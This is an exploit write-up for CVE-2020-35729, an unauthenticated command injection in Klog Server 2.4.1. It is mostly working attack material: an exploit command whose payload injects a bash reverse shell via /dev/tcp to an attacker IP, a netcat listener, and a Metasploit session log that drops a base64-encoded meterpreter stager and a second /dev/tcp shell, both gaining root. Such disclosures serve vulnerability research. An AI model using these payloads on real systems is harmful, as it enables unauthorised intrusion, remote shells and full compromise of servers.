CVE-2020-35729

Exploit Title: Klog Server 2.4.1 - Command Injection (Unauthenticated)
Date: 22.12.2020
Exploit Author: b3kc4t (Mustafa GUNDOGDU)
Vendor Homepage: https://www.klogserver.com/
Version: 2.4.1
Tested On: Ubuntu 18.04
CVE: 2020-35729
Description: https://github.com/mustgundogdu/Research/tree/main/KLOG_SERVER

nc -nlvp 98

python klog_exploit.py --exploit --url https://10.10.56.51:443/actions/authenticate.php --payload "test\"$bash -i >& /dev/tcp/10.10.56.52/98 0>&1&\""

msf6 > use exploit/linux/http/klog_server_authenticate_user_unauth_command_injection 
[*] 使用配置的有效载荷 linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/http/klog_server_authenticate_user_unauth_command_injection) > set rhost 192.168.37.152
rhost => 192.168.37.152
msf6 exploit(linux/http/klog_server_authenticate_user_unauth_command_injection) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf6 exploit(linux/http/klog_server_authenticate_user_unauth_command_injection) > set verbose true
verbose => true
msf6 exploit(linux/http/klog_server_authenticate_user_unauth_command_injection) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Linux (x86)
   1   Linux (x64)
   2   Linux (cmd)


msf6 exploit(linux/http/klog_server_authenticate_user_unauth_command_injection) > run

[*] 已启动反向 TCP 处理程序，监听 192.168.37.1:4444 
[*] 正在执行自动检查（禁用 AutoCheck 以覆盖）
[+] 目标存在漏洞。9 秒后收到响应。
[*] 已生成命令中转器：["echo -n f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAjPAAAASgEAAAcAAAAAEAAAagpeMdv341NDU2oCsGaJ4c2Al1towKglAWgCABFcieFqZlhQUVeJ4UPNgIXAeRlOdD1oogAAAFhqAGoFieMxyc2AhcB5vesnsge5ABAAAInjwesMweMMsH3NgIXAeBBbieGZsmqwA82AhcB4Av/huAEAAAC7AQAAAM2A>>'/tmp/XOXCI.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/qZuQO' < '/tmp/XOXCI.b64' ; chmod +x '/tmp/qZuQO' ; '/tmp/qZuQO' & sleep 2 ; rm -f '/tmp/qZuQO' ; rm -f '/tmp/XOXCI.b64'"]
[*] 正在传输中间中转器...(106 字节)
[*] 正在发送阶段（980808 字节）到 192.168.37.152
[*] Meterpreter 会话 1 已打开 (192.168.37.1:4444 -> 192.168.37.152:33146) 于 2021-02-12 11:17:07 -0600
[*] 命令中转器进度 - 100.00% 完成 (773/773 字节)

meterpreter > getuid
服务器用户名: root @ klogserver.klogserver.com (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
计算机     : klogserver.klogserver.com
操作系统   : CentOS 7.3.1611 (Linux 3.10.0-514.el7.x86_64)
架构       : x64
编译元组   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter > exit
[*] 正在关闭 Meterpreter...

[*] 192.168.37.152 - Meterpreter 会话 1 已关闭。原因：用户退出
msf6 exploit(linux/http/klog_server_authenticate_user_unauth_command_injection) > set target 2
target => 2
msf6 exploit(linux/http/klog_server_authenticate_user_unauth_command_injection) > run

[+] 0<&45-;exec 45<>/dev/tcp/192.168.37.1/4444;sh <&45 >&45 2>&45
[*] 已启动反向 TCP 处理程序，监听 192.168.37.1:4444 
[*] 正在执行自动检查（禁用 AutoCheck 以覆盖）
[+] 目标存在漏洞。10 秒后收到响应。
[*] 命令 shell 会话 2 已打开 (192.168.37.1:4444 -> 192.168.37.152:33148) 于 2021-02-12 11:17:55 -0600

id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux klogserver.klogserver.com 3.10.0-514.el7.x86_64 #1 SMP Tue Nov 22 16:42:41 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux